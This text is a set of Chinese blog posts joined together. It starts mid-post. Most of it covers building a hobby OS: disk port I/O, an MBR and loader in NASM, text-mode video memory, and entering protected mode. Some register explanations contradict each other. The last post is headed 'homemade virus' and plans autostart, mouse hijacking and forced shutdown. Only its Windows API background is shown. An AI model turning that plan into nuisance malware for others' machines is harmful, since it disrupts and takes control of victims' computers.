端口是按照通道给出的,所以不要认为端口是直接针对某块硬盘的,一个通道的主从硬盘都是使用这些端口号的,要想操作某通道上的某块硬盘,需要单独指定。看上面的表格,有一个叫做Device的寄存器,这就是驱动器设备,也就是和硬盘相关的。不过此寄存器是八位的,一个通道上就两块硬盘,指定哪块硬盘只用一位就可以了,至于其他位当然也有用处,很多设置都会集中在此寄存器,其中的第四位便是指定通道上的主或从硬盘,0是主盘,1是从盘。端口用途在读写时是有区别的,比如Primary通道上的0x1F1端口来说,读操作时,如果读取失败,里面存储的是失败状态信息,所以称为error寄存器,并且此时会在0x1F2端口中存储未读的扇区数。写操作时就变成Features寄存器,此寄存器用于写命令参数。至于为什么要把一个寄存器分为两种状态,可能时在早期多加寄存器有很大代价吧。 接下来介绍一下表中各个寄存器的功能。 data寄存器顾名思义就是管理数据的,数据的读写当然是越快越好,所以data寄存器比其他寄存器宽一些,16位。在读硬盘时,硬盘准备好数据后,硬盘控制器将其放在内部的缓存区中,不断读此寄存器便是读出缓存器中的全部数据。在写硬盘时,我们要把数据不断写入此寄存器中,然后数据便会被送入缓存区,硬盘控制器发现这个缓存区中有数据了,便将此处数据写入相应扇区中。 读硬盘时0x171或0x1F1的寄存器叫做Error寄存器,只在读取失败时才有用,里面有记录失败的信息,尚未读取的扇区数在Sector count寄存器中。在写硬盘时,该寄存器叫做Feature寄存器,里面是一些命令需要指定的额外参数。Error和Feature是同一个寄存器,只是在不同情况有不同的名称,它是八位寄存器。 Sector count寄存器用来指定带读取或者带写入的扇区数。硬盘每完成一个扇区,此寄存器中的值就会减一,这是一个八位寄存器,最大值为255,若指定为0,则表示需要操作256个扇区。 LBA寄存器有LBA low,LBA mid,LBA high三个,它们三个都是8位,LBA low寄存器用来存储28位地址的第0~7位,LBA mid用来存储28位的第8~15位,LBA high寄存器用来存储28位的第16~23位。那么剩下的四位呢? 这就是device寄存器的任务了。 device寄存器是个杂项,它的宽度是八位,第四位是存储LBA的第24位~27位。结合上面的三个LBA寄存器,第四位用来指定通道上的主盘或从盘,0代表从,1代表主。第六位用来存储是否启用LBA方式,1代表LBA模式,0代表CHS模式。另外两位第五位和第七位是固定为1的,称为MBS位,可以不用注意。 读硬盘时,端口0x1F7或0x177的寄存器叫Status,它是8位宽度的寄存器,用来给出硬盘的状态信息。第0位是ERR位,如果此位为1,表示命令出错了,具体原因可见Error寄存器。第三位data request位,如果此位为1,表示数据已经准备好了。第6位为DRDY,表示硬盘就绪。第七位是BSY位,表示硬盘是否繁忙。 写硬盘时,端口0x1F7或0x177的寄存器叫Command,它和Status是同一个,此寄存器用来存储让硬盘执行的命令,把命令写入此寄存器,只要把命令写入此寄存器,硬盘就开始工作了。主要是以下三个命令: 1)identify : 0xEC 硬盘识别 2)read sector : 0x20 即读扇区 3) write sector : 0x30 即写扇区 2. 控制硬盘步骤 有的指令直接往command寄存器中写就可以了,有的还需要feature寄存器中写入参数。最主要的就是command寄存器一定要最后写,因为一旦command寄存器被写入后,硬盘就开始干活了。关于操作步骤如下: 1)先选择通道,往该通道的sector count寄存器中写入带操作的扇区数。 2)往该通道上的三个LBA寄存器写入扇区起始地址的低24位。 3)往device寄存器中写入LBA地址的24~27位,并置第六位为1,使其为LBA模式,设置第4位,选择操作的硬盘(主从)。 4)往该通道上的额command寄存器中写入操作命令。 5)读取该通道上的status寄存器,判断硬盘工作是否完成 6)如果以上步骤是读硬盘,进入下一个步骤。否则,完工 7)将硬盘数据读出 3. 使用硬盘 MBR即将改造成可以读取硬盘,那么我们的内核加载就有了方法。所以我们要学会从另一个程序中完成初始化环境并加载内核,这个程序叫做loader,loader放在第二个扇区,地址之前已经讲过了0x500~0x7BFF区域中。 1 %include "boot.inc" 2 SECTION MBR vstart=0x7c00 3 mov ax,cs 4 mov ds,ax 5 mov es,ax 6 mov ss,ax 7 mov fs,ax 8 mov sp,0x7c00 9 mov ax,0xb800 10 mov gs,ax 11 12 mov ax,0x600 13 mov bx,0x700 14 mov cx,0 15 mov dx,0x1010 16 int 0x10 17 18 mov byte [gs:0x00],'A' 19 mov byte [gs:0x01],0xA4 20 21 mov byte [gs:0x02],'n' 22 mov byte [gs:0x03],0x13 23 24 mov byte [gs:0x04],'t' 25 mov byte [gs:0x05],0x52 26 27 mov byte [gs:0x06],'z' 28 mov byte [gs:0x07],0xB1 29 30 mov byte [gs:0x08],' ' 31 mov byte [gs:0x09],0xCC 32 33 mov byte [gs:0x0A],'U' 34 mov byte [gs:0x0B],0x2B 35 36 mov byte [gs:0x0C],'h' 37 mov byte [gs:0x0D],0x6D 38 39 mov byte [gs:0x0E],'l' 40 mov byte [gs:0x0F],0x7E 41 42 mov byte [gs:0x10],' ' 43 mov byte [gs:0x11],0x49 44 45 mov byte [gs:0x12],'K' 46 mov byte [gs:0x13],0xE5 47 48 mov byte [gs:0x14],'o' 49 mov byte [gs:0x15],0x8A 50 51 mov byte [gs:0x16],'n' 52 mov byte [gs:0x17],0x96 53 54 mov byte [gs:0x18],'e' 55 mov byte [gs:0x19],0x68 56 57 mov eax,LOADER_START_SECTOR 58 mov bx,LOADER_BASE_ADDR 59 mov cx,1 60 call rd_disk_m_16 61 62 jmp LOADER_BASE_ADDR 63 64 rd_disk_m_16: 65 66 mov esi,eax 67 mov di,cx 68 mov dx,0x1f2 69 mov al,cl 70 out dx,al 71 72 mov eax,esi 73 74 mov dx,0x1f3 75 out dx,al 76 77 mov cl,8 78 shr eax,cl 79 mov dx,0x1f4 80 out dx,al 81 82 shr eax,cl 83 mov dx,0x1f5 84 out dx,al 85 86 shr eax,cl 87 and al,0x0f 88 or al,0xe0 89 mov dx,0x1f6 90 out dx,al 91 92 mov dx,0x1f7 93 mov al,0x20 94 out dx,al 95 96 not_ready: 97 nop 98 in al,dx 99 and al,0x88 100 101 cmp al,0x08 102 jnz not_ready 103 104 mov ax,di 105 mov dx,256 106 mul dx 107 mov cx,ax 108 109 mov dx,0x1f0 110 111 go_on_read: 112 in ax,dx 113 mov [bx],ax 114 add bx,2 115 loop go_on_read 116 ret 117 118 times 510-($-$$) db 0 119 db 0x55,0xaa boot.inc文件内容如下: 1 ;------------- loader和kernel ---------- 2 LOADER_BASE_ADDR equ 0x900 3 LOADER_START_SECTOR equ 0x2 LOADER_BASE_ADDR就是loader在内存中的位置,LOADER_START_SECTOR说明了loader放在了第二个扇区。 内核加载器如下: 1 %include "boot.inc" 2 section loader vstart=LOADER_BASE_ADDR 3 4 ; 输出背景色绿色,前景色红色,并且跳动的字符串"1 MBR" 5 mov byte [gs:0x00],'2' 6 mov byte [gs:0x01],0xA4 ; A表示绿色背景闪烁,4表示前景色为红色 7 8 mov byte [gs:0x02],' ' 9 mov byte [gs:0x03],0xA4 10 11 mov byte [gs:0x04],'L' 12 mov byte [gs:0x05],0xA4 13 14 mov byte [gs:0x06],'O' 15 mov byte [gs:0x07],0xA4 16 17 mov byte [gs:0x08],'A' 18 mov byte [gs:0x09],0xA4 19 20 mov byte [gs:0x0a],'D' 21 mov byte [gs:0x0b],0xA4 22 23 mov byte [gs:0x0c],'E' 24 mov byte [gs:0x0d],0xA4 25 26 mov byte [gs:0x0e],'R' 27 mov byte [gs:0x0f],0xA4 28 29 jmp $ ; 通过死循环使程序悬停在此 使用dd命令将之前生成的bin写入第0个扇区,loader生成的bin写入第2个扇区(个人爱好,也可以是第一个,但boot.inc也要改变)。
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 目前已经完成了MBR的雏形,虽然有些简陋,比如我们的屏幕显示还是使用的BIOS中断,而在BIOS中断向量表只有在实模式下存在, 我们要进入保护模式之后就无法使用了。此次我们要完成直接操作显存来进行屏幕显示。 0. 关于显存 如果要说显存,那必须先说说显卡,其实BIOS的中断关于屏幕操作底层也是通过操作显卡实现的,封装成显存只是为了我们操作方便。既然要完成屏幕打印,那么就要在显示器和CPU之间建立链接,也就是IO接口,也叫做适配器,显卡就是显示适配器,连接了CPU和显示器,显卡也有自己的CPU,叫做GPU,显存是由显卡提供的,是显卡内部的一块内存。显示器会将显存里面的数据显示出来,而对于显示器而言,它不会去管这些数据是文本还是图像,对于它来说,一切都是图像,一切都是下像素的位置和像素颜色的信息。 如同计算机的内存一样,显存是用来存储要处理的图形信息的部件。我们在显示屏上看到的画面是由一个个的像素点构成的,而每个像素点都以4至32甚至64位的数据来控制它的亮度和色彩,这些数据必须通过显存来保存,再交由显示芯片和CPU调配,最后把运算结果转化为图形输出到显示器上。 显存和主板内存一样,执行存贮的功能,但它存贮的对像是显卡输出到显示器上的每个像素的信息。显存是显卡非常重要的组成部分,显示芯片处理完数据后会将数据保存到显存中,然后由RAMDAC(数模转换器)从显存中读取出数据并将数字信号转换为模拟信号,最后由屏幕显示出来。在高级的图形加速卡中,显存不仅用来存储图形数据,而且还被显示芯片用来进行3D函数运算。在nVIDIA等高级显示芯片中,已发展出和CPU平行的“GPU”(图形处理单元)。“T&L”(变形和照明)等高密度运算由GPU在显卡上完成,由此更加重了对显存的依赖。由于显存在显卡上所起的作用,显然显存的速度和带宽直接影响到显卡的整体速度。显存作为存贮器也和主板内存一样经历了多个发展阶段,甚至可以说显存的发展比主板内存更为活跃,并有着更多的品种和类型。被广泛使用的显存类型是SDRAM和SGRAM,性能更加优异的DDR内存首先被应用到显卡上,促进了显卡整体性能的提高。DDR以在显卡上的成功为先导,全面发展到了主板系统,一个DDR“独领风骚三两年”的时代即将呈现在世人面前。 显卡的工作原理是:在显卡开始工作(图形渲染建模)前,通常是把所需要的材质和纹理数据传送到显存里面。开始工作时候(进行建模渲染),这些数据通过AGP总线进行传输,显示芯片将通过AGP总线提取存储在显存里面的数据,除了建模渲染数据外还有大量的顶点数据和工作指令流需要进行交换,这些数据通过RAMDAC转换为模拟信号输出到显示端,最终就是我们看见的图像。显示芯片性能的日益提高,其数据处理能力越来越强,使得显存数据传输量和传输率也要求越来越高,显卡对显存的要求也更高。载体,这时显存的交换量的大小,速度的快慢对于显卡核心的效能发挥都是至关重要的,而如何有效地提高显存的效能也就成了提高整个显示卡效能的关键。 关于显存的字符编码规则是符合ASCII的,这点略过。 显存地址分配是很主要的一点,它规定了哪些位置是彩色显示,哪些位置是黑白显示,哪些位置是文本模式显示。 起始 结束 大小 用途 C0000 C7FFF 32KB 显示适配器BIOS B8000 BFFFF 32KB 用于文本模式显示适配器 B0000 B7FFF 32KB 用于黑白显示适配器 A0000 AFFFF 64KB 用于彩色显示适配器 1. 如何在文本模式下写入字符 需要注意的就是B8000到BFFFF这段文本模式显示适配器的地址了,因为Linux终端模式就是类似的。 而且要明白这段地址不是主板上内存条上的内存地址,内存条只是地址总线可以达到的范围中的一小部分,指令需要什么数据,地址总线会帮我们去找。地址只是数字,地址总线把地址拿到后,用此数字指向哪个存储介质,此地址就指向了那个介质上的存储单元中,所以一个地址的数字到底是指向哪里,是由地址总线说了算的。 从B8000到BFFFF这32KB大小的内存中输出的字符会直接落到显存中,显存有了数据,显卡自然就会把它搬到显示器上。 显卡的文本模式也分很多种模式的,用行列来表示,也就是80*25,40*25,80*43这些,他们的乘积表示屏幕上可以容纳的字符数,在显卡开始工作时,默认就是80*25,也就是一个屏幕可以打印2000个字符。虽说是文本模式,但不代表不可以打印彩色字符,当然,如果要打印彩色字符,一个字符一个字节就没办法了,ASCII码都是一个字节大小,即使标准的ASCII也是用7位编码,剩下的一位只能表示黑白了,所以我们需要两个字节来表示一个字符。一个屏幕2000个字符,一个字符2个字节,也就是一个屏幕需要4000字节,文本模式拥有32KB显存,所以32KB/4000B大约是八个屏幕大小(你应该想到Linux的tty切换了吧)。 既然确定了每个字符所用的字节大小,那么这两个字节如何分配呢? 屏幕上每个字符的低字节是字符的ASCII码,高字节是字符的属性信息。高字节中低四位是字符的前景色,高四位是背景色,都是RGB三色调和,对于每四位来说,RGB占据了三位,那么还有一位呢? 每四位的最高一位是用来表示亮色或者暗色。具体分配如下: bit K(控制是否闪烁) 15 R 14 G 13 B 12 I(亮度位) 11 R 10 G 9 B 8 字符ASCII码 0 ~ 7 2. 直接操作显存 新的代码只要把之前的BIOS中断部分换掉就可以了,在0xB800H处写入数据即可 1 SECTION MBR vstart=0x7c00 2 mov ax,cs 3 mov ds,ax 4 mov es,ax 5 mov ss,ax 6 mov fs,ax 7 mov sp,0x7c00 8 mov ax,0xb800 9 mov gs,ax 10 11 mov ax,0x600 12 mov bx,0x700 13 mov cx,0 14 mov dx,0x1010 15 int 0x10 16 17 mov byte [gs:0x00],'A' 18 mov byte [gs:0x01],0xA4 19 20 mov byte [gs:0x02],'n' 21 mov byte [gs:0x03],0x13 22 23 mov byte [gs:0x04],'t' 24 mov byte [gs:0x05],0x52 25 26 mov byte [gs:0x06],'z' 27 mov byte [gs:0x07],0xB1 28 29 mov byte [gs:0x08],' ' 30 mov byte [gs:0x09],0xCC 31 32 mov byte [gs:0x0A],'U' 33 mov byte [gs:0x0B],0x2B 34 35 mov byte [gs:0x0C],'h' 36 mov byte [gs:0x0D],0x6D 37 38 mov byte [gs:0x0E],'l' 39 mov byte [gs:0x0F],0x7E 40 41 mov byte [gs:0x10],' ' 42 mov byte [gs:0x11],0x49 43 44 mov byte [gs:0x12],'K' 45 mov byte [gs:0x13],0xE5 46 47 mov byte [gs:0x14],'o' 48 mov byte [gs:0x15],0x8A 49 50 mov byte [gs:0x16],'n' 51 mov byte [gs:0x17],0x96 52 53 mov byte [gs:0x18],'e' 54 mov byte [gs:0x19],0x68 55 jmp $ 56 57 times 510-($-$$) db 0 58 db 0x55,0xaa 保存为antz.asm , 然后使用NASM生成为IMG文件,使用虚拟机打开镜像效果如下。 好了,现在我们可以在保护模式没有中断向量表的情况下,直接操作显存来显示字符了。
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 0. 如果你不知道什么是保护模式 你可能不知道什么是保护模式,没有关系,在你知道之前让我们先来看一段代码,如果你没有接触过这些内容,可能会觉得一头雾水,不知所云,不要紧,我们可以一点一点来分析。 os.asm : %include "pm.inc" ; 常量, 宏, 以及一些说明 org 0100h jmp LABEL_BEGIN [SECTION .gdt] ; GDT ; 段基址, 段界限 , 属性 LABEL_GDT: Descriptor 0, 0, 0 ; 空描述符 LABEL_DESC_CODE32: Descriptor 0, SegCode32Len - 1, DA_C + DA_32 ; 非一致代码段, 32 LABEL_DESC_VIDEO: Descriptor 0B8000h, 0ffffh, DA_DRW ; 显存首地址 ; GDT 结束 GdtLen equ $ - LABEL_GDT ; GDT长度 GdtPtr dw GdtLen - 1 ; GDT界限 dd 0 ; GDT基地址 ; GDT 选择子 SelectorCode32 equ LABEL_DESC_CODE32 - LABEL_GDT SelectorVideo equ LABEL_DESC_VIDEO - LABEL_GDT ; END of [SECTION .gdt] [SECTION .s16] [BITS 16] LABEL_BEGIN: mov ax, cs mov ds, ax mov es, ax mov ss, ax mov sp, 0100h ; 初始化 32 位代码段描述符 xor eax, eax mov ax, cs shl eax, 4 add eax, LABEL_SEG_CODE32 mov word [LABEL_DESC_CODE32 + 2], ax shr eax, 16 mov byte [LABEL_DESC_CODE32 + 4], al mov byte [LABEL_DESC_CODE32 + 7], ah ; 为加载 GDTR 作准备 xor eax, eax mov ax, ds shl eax, 4 add eax, LABEL_GDT ; eax <- gdt 基地址 mov dword [GdtPtr + 2], eax ; [GdtPtr + 2] <- gdt 基地址 ; 加载 GDTR lgdt [GdtPtr] ; 关中断 cli ; 打开地址线A20 in al, 92h or al, 00000010b out 92h, al ; 准备切换到保护模式 mov eax, cr0 or eax, 1 mov cr0, eax ; 真正进入保护模式 jmp dword SelectorCode32:0 ; 执行这一句会把 SelectorCode32 装入 cs, 并跳转到 Code32Selector:0 处 ; END of [SECTION .s16] [SECTION .s32]; 32 位代码段. 由实模式跳入. [BITS 32] LABEL_SEG_CODE32: mov ax, SelectorVideo mov gs, ax ; 视频段选择子(目的) mov edi, (80 * 10 + 0) * 2 ; 屏幕第 10 行, 第 0 列。 mov ah, 0Ch ; 0000: 黑底 1100: 红字 mov al, 'P' mov [gs:edi], ax ; 到此停止 jmp $ SegCode32Len equ $ - LABEL_SEG_CODE32 ; END of [SECTION .s32] pm.inc节选 : ; 描述符 ; usage: Descriptor Base, Limit, Attr ; Base: dd ; Limit: dd (low 20 bits available) ; Attr: dw (lower 4 bits of higher byte are always 0) %macro Descriptor 3 dw %2 & 0FFFFh ; 段界限 1 (2 字节) dw %1 & 0FFFFh ; 段基址 1 (2 字节) db (%1 >> 16) & 0FFh ; 段基址 2 (1 字节) dw ((%2 >> 8) & 0F00h) | (%3 & 0F0FFh) ; 属性 1 + 段界限 2 + 属性 2 (2 字节) db (%1 >> 24) & 0FFh ; 段基址 3 (1 字节) %endmacro ; 共 8 字节 读完之后你可能一头雾水,但是这段代码已经完成了实模式到保护模式的转换。 nasm os.asm -o os.com 先使用nasm编译os.asm生成os.com文件。 然后使用DOS-BOX打开。 屏幕中显示了一个黑底红字的字符 "P" 接下来分析上面的代码: [SECTION.gdt]段中有三个Descriptor,是一个叫GDT的数组。接下来的GdtLen是GDT的长度。GdtPtr也是个小的数据结构,它有6个字节,前两个字节是GDT的长度GdtLen,后四个字节是GDT的基地址。 另外定义了两个SelectorCode32,SelectorVideo的常量。暂时可不管它。 [BITS 16]明确指明了它是一个16位的代码段,它修改了一些GDT的值,然后执行了一些不常见的指令,最后通过jmp指令进行了跳转。jmp Selectorcode32:0 ,执行这一句会真正进入保护模式,把 SelectorCode32 装入 cs, 并跳转到 SelectorCode32:0 处 。也就是第三个section,即[SECTION.s32]中,这个段是32位的,在结束处的 jmp $ 进入了无限循环。 你可能会疑惑什么是GDT,那些看上去怪怪的指令到底做了什么。它们的内容如下: 1)定义一个叫做GDT的数据结构。 2)后面的16位代码进行了一些与GDT有关的操作。 3)程序最后跳到了32位代码中做了一点操作显存的工作。 那么GDT是什么?它是用来干什么的呢? 程序对GDT做了什么? jmp SelectorCode32:0和我们之前的jmp有什么不同呢? 有了这些问题,我们现在就可以出发去了解保护模式了。 1. GDT CPU有两种工作模式:实模式和保护模式。 当我们开机时,开始的CPU是工作在实模式下的,经过某种机制之后,才进入保护模式。在保护模式下,CPU有着巨大的寻址模式,并为操作系统提供了更好的硬件模式。 那么从实模式到保护模式的转换其实就类似于政权的更替,开机时是在实模式下,就像皇帝A在执政,他有他的政策。后来通过了一种转换,类似于革命,皇帝B登基,新皇帝登基的那一刻就是一个历史性的 jmp , 然后开始了皇帝B的统治,他也有了他的一套全新的政策。当然新政策比老政策好得多,虽然他变复杂了,这套新政策就是保护模式。 先来回顾一些旧政策,实模式。一个地址是由段地址和偏移地址两部分组成的,物理地址遵从这样的计算公式。 物理地址 = 段地址 x 16 + 偏移地址 其中段值和偏移都是16位的。 从386开始的32位时代,寻址空间可以达到4GB,所以16位寄存器已经不够用了。 在实模式下,16位寄存器需要“段:偏移”才有 1MB的寻址能力,如今我们有了32位寄存器,一个寄存器就有了4GB的寻址哪里。那么是不是段值就可以被抛弃了呢? 其实不然,新政策下仍然使用 “SEG:OFFSET”的形式表示 , 只不保护模式下的段值概念发生了根本性的变化。实模式下,段值还可以看作是地址的一部分。而保护模式下,虽然段值仍然由原来的16位的CS,DS等寄存器表示,但此时他仅仅变成了一个索引,这个索引指向了一个数据结构的表项,其中详细定义了段的起始地址,界限,属性等内容。这个数据结构就是GDT(也可能是LDT)。GDT中的表项也有一个专门的名字,叫做描述符(Descriptor)。 也就是说,GDT的作用是用来提供段式存储机制,这种机制是通过段寄存器和GDT中的描述符共同提供的。 之前代码中的宏定义Descriptor这个宏用比较自动化的方法把段基址,段界限和段属性安排在描述符中合适的位置。 再来看看之前代码中定义的一个Descriptor数组,LABEL_GDT ,LABEL_DESC_CODE32 , LABEL_DESC_VIDEO 。 LABEL_DESC_VIDEO的段基址0B8000h,这个描述符指向的正是显存。 那么CS,DS等段寄存器如何与这些段对应起来呢? 在[SECTION.32]中有两句代码是: mov ax,SelectorVideo mov gs,ax 段寄存器gs的值变成了SelectorVideo, SelectorVideo的定义是: SelectorVideo equ LABEL_DESC_VIDEO - LABEL_GDT 直观的看,它好像是DESC_VIDEO这个描述符相对GDT基址的偏移。实际上它有一个专门的名称叫做选择子,它也表示一个偏移,而是稍微复杂一点。 mov [gs:edi] , ax gs的值是SelectorVideo,它只是对应显存的描述符LABEL_DESC_VIDEO, 这条指令把ax的值写入显存中偏移位edi的位置。 到了这里,可以想到,既然[SECTION.S32]是32位程序,并且在保护模式下执行,那么[SECTION.s16]的任务一定是从实模式向保护模式跳转了。 2. 实模式到保护模式,不一般的 jmp 在[SECTION.s16]段最后。 jmp dword SelectorCode32:0 ;执行这一句会把 SelectorCode32 装入 cs, 并跳转到 SelectorCode32:0 处 跳转的目标是描述符 DESC_CODE32对应的段的首地址,即标号LABEL_SEG_CODDE32处。 此时,新皇帝登基,开始了保护模式。 不过,这个jmp比看起来还要复杂一点,因为它不得不放在16位的段中,目标地址却是32位。从这一点来看,它是混合16位和32位代码。所以写为jmp SelectorCode32:0 是不严谨的,因为偏移地址是32位的,这样编译出来的只是16位的代码。假设目标地址的偏移不是0,而是一个32位的值,比如 jmp SelectorCode32:0x12345678,则编译之后偏移会被截断,只剩下0x5678。 所以需要加上dword,但Nasm允许加在整个地址之前,就是我们之前写的那样,也就是我们为什么那样写了。 那么进入保护模式的步骤就是: 1)准备GDT 2)用 lgdt 加载 gdtr 3)打开 A20 4) 跳转,进入保护模式
0.引子 最近在看操作系统底层方面的东西,最开始的为什么是07c00h这个问题就让我对操作系统有了很大的兴趣。所以准备在看书之余顺便写一个操作系统(Anz)。至于为什么这个系统会被叫做Antz,可以参考Antz Uhl Kone, 日语为アインズ·ウール·ゴウン , 与之对应的还有接下来准备写的自制脚本语言AntzScript,因为准备是用Java实现解释器,所以如何把AntzScript运行在Antz上是一个很大问题(其实问题就是引入Java)。 Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 1.关于Boot Sector 引导扇区(Boot Sector) 通常指设备的第一个扇区,用于加载并转让处理器控制权给操作系统。 1.1 主引导扇区 硬盘的0柱面、0磁头、1扇区称为主引导扇区,也叫主引导记录MBR,该记录占用512个字节,它用于硬盘启动时将系统控制权转给用户指定的、在分区表中登记了某个操作系统分区。MBR的内容是在硬盘分区时由分区软件写入该扇区的,MBR不属于任何一个操作系统,不随操作系统的不同而不同,即使不同,MBR也不会夹带操作系统的性质,具有公共引导的特性。但安装某些多重引导功能的软件或LINUX的LILO时有可能改写它,它先于所有的操作系统被调入内存并发挥作用,然后才将控制权交给活动主分区内的操作系统。 1.2 MBR成员 1.主引导程序代码,占446字节 2. 磁盘签名 3.硬盘分区表DPT,占64字节 4.主引导扇区结束标志55AAH 硬盘的主引导程序代码是从偏移0000H开始到偏移01BDH结束的446字节;主引导程序代码包括一小段执行代码。启动PC 机时,系统首先对硬件设备进行测试,成功后进入自举程序INT 19H;然后读系统磁盘0柱面、0磁头、1扇区的主引导扇区MBR的内容到内存指定单元0:7C00 首地址开始的区域,并执行MBR程序段。 1.3MBR功能 1.扫描分区表查找活动分区; 2.寻找活动分区的起始扇区; 3.将活动分区的引导扇区读到内存; 4.执行引导扇区的运行代码。 如果主引导代码未完成这些功能,系统显示下列错误信息 Invalid partition table Error loading operating system Missing operating system MBR是BIOS接力的第一棒,在他之后,会由分区引导扇区DBR接力,至于为什么不直接给DBR。那是因为BIOS大小有限,无法完成所有操作,在给DBR之前会通过MBR完成。 目前只需要了解MBR,至于DBR会在之后进行解释。 2.Boot Sector实现代码 在BIOS自检等一系列工作完成后,要开始引导了。计算机会将硬盘0面0道1扇区512字节加载到07c00h(0000::7c00)处。 1)为什么是0面0道1扇区? 这个可以理解为是规定,当Bios工作完成后会去将硬盘0面0道1扇区512字节进行加载。但是真实情况是根据“魔数”来确定的,魔数就是有特殊意义的数,更大作用是用来做标记,比如MBR就是在512个字节的最后两个字节填入 0x55 ,0xaa来进行标记的。放在第一个扇区是因为0面0道1扇区是磁盘最开始的地方,一开始检验出有 0x55 ,0xaa就直接开始加载。 2)为什么是07c00h? 这个也可以当作是规定,在IBM文档中没有具体说明07c00h是为什么,但是在世界上第一台个人计算机诞生时,07c00h就是在它当中初次诞生的,那时的DOS最多也就是32K,为了实现MBR中的栈需要512B,为了满足需求取最大为1K,也就是32K-1K,就是07c00h了。 1 org 07c00h 2 mov ax,cs 3 mov ds,ax 4 mov es,ax 5 call DispStr 6 jmp $ 7 8 DispStr: 9 mov ax,BootMessage 10 mov bp,ax 11 mov cx,16 12 mov ax,01301h 13 mov bx,000ch 14 mov dl,0 15 int 10h 16 ret 17 BootMessage: db "Antz Uhl Kone" 18 times 510-($-$$) db 0 19 20 dw 0xaa55 第1行的org 07c00h已经做出讲解了,它规定了程序加载的区域。 第2-4行是将ds,es和cs指向相同的地址 第5行call DispStr是调用了子程序实现字符串显示。 在子程序DispStr中: mov ax,BootMessage 取得显示字符串的地址 mov bp,ax es:ax 串地址 mov cx,16 cx,串长度 mov ax,01301h ah = 13 h al=01h mov bx,000ch bh = 00 页号 bl = 0ch 字色 mov dl,0 int 10h 10h中断 ret 第6行的 jmp $是为了进行无限循环。 $可以理解为当前行命令的起始地址,$$是表示当前段的起始地址。 第18行的times 510-($-$$) db 0 是将剩下的地址全部填 0 ,在512个字节中,0x55,0xaa占两个字节,剩下的510个字节减去之前用过的($-$$)个字节,身下的512-2-$-$$个字节全部填0。 3.代码生成Img镜像 工具 : NASM , FloppyWriter 先对asm文件使用NASM编译成为bin文件: nasm os.asm -o os.img 此时在asm同级目录生成了一个os.bin文件。 新建一个文件为 One_Antz.img 此时生成了一个空的img文件。 打开FloppyWriter.exe,选择第二个 先选择我们生成的bin文件,点击下一步 再选择我们创建的img文件。 镜像就制作成功了。 生成的镜像就是我们之前创建的img文件,内容被直接写入了。 现在可以使用虚拟机打开我们创建的镜像了。 设置好镜像后打开虚拟机。
自制病毒——控制桌面背景鼠标以及开关机 代码 : Github 目录 理论知识 修改桌面背景方法 控制鼠标方法 开机自启动方法 关机方法 实现 修改桌面背景代码 控制鼠标代码 开机自启动代码 关机代码 代码 参考 一 理论知识 1.1 修改桌面背景方法 在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo 该函数也可以在设置参数中更新用户配置文件,这个函数还有很多其它功能,比如获取桌面工作区的大小。 BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni); uiAction:该参数指定要查询或设置的系统级参数。其取值如下; SPI_GETACCESSTIMEOUT:检索与可访问特性相关联的超时段的信息,PvParam参数必须指向某个ACCESSTIMEOUT结构以获得信息,并将该结构中的cbSjze成员和ulParam参数的值设为sizeof(ACCESSTIMEOUT)。 SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打开活动窗口跟踪(激活该窗口时鼠标置为开状态),pvParam参数必须指向一个BOOL型变量(打开时接收值为TRUE,关闭时为FALSE)。 SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通过活动窗口跟踪开关激活的窗口是否要置于最顶层。pvParam参数必须指向一个BOOL型变量,如果要置于顶层,那么该变量的值为TRUE,否则为FALSE。 SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活动窗口跟踪延迟量,单位为毫秒。pvParam参数必须指向DWORD类型变量,以接收时间量。 SPI_GETANIMATION:检索与用户活动有关的动画效果。pvParam参数必须指向ANIMATIOINFO结构以接收信息。并将该结构的cbSize成员和ulParam参数置为sizeof(ANIMATIONINFO)。 SPI_GETBEEP:表示警告蜂鸣器是否是打开的。pvParam参数必须指向一个BOOL类型变量,如果蜂鸣器处于打开状态,那么该变量的值为TRUE,否则为FALSE。 SpI_GETBORDER:检索决定窗口边界放大宽度的边界放大因子。pvParam参数必须指向一个整型变量以接收该值。 SPI_GETDEFAULTINPUTLANG:返回用于系统缺省输入语言的键盘布局句柄。pvParam参数必须指向一个32位变量,以接收该值。 SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于组合柜的动打开效果是否允许。pvParam参数必须指向一个BOOL变量,如果允许,那么变量返回值为TRUE,否则为FALSE。 SPI_GETDRAGFULLWINDOWS:确定是否允许拖拉到最大窗口。pvParam参数必须指向BOOL变量,如果允许,返回值为TRUE,否则为FALSE。对于Windows 95系统,该标志只有在安装了Windows plus!才支持。 SPI_GETFASTTASKSWITCH:该标志已不用!以前版本的系统使用该标志来确定是否允许Alt+Tab快速任务切换。对于Windows 95、Windows 98和Windows NT 4.0版而言,快速任务切换通常是允许的。 更多 uiParam:uiParam 在参数说明中所有为ulParam均为错误。 这个参数值设为true即可。 pvParam:与查询或设置的系统参数有关。关于系统级参数的详情,请参考uiAction参数。否则在没有指明情况下,必须将该参数指定为NULL。 在修改背景图片时为图片信息,PVOID类型。 fWinlni:如果设置系统参数,则它用来指定是否更新用户配置文件(Profile)。亦或是否要将WM_SETTINGCHANGE消息广播给所有顶层窗口,以通知它们新的变化内容。该参数可以是0或下列取值之一: SPIF_UPDATEINIFILE:把新的系统参数的设置内容写入用户配置文件。 SPIF_SENDCHANGE:在更新用户配置文件之后广播WM_SETTINGCHANGE消息。 SPI_SENDWININICHANGE与 SPIF_SENDCHANGE一样。 返回值 如果函数调用成功,返回值非零:如果函数调用失败,那么返回值为零。 1.2 控制鼠标方法 控制鼠标坐标的方法同样也时调用一个API,GetCursorPos和SetCursorPos 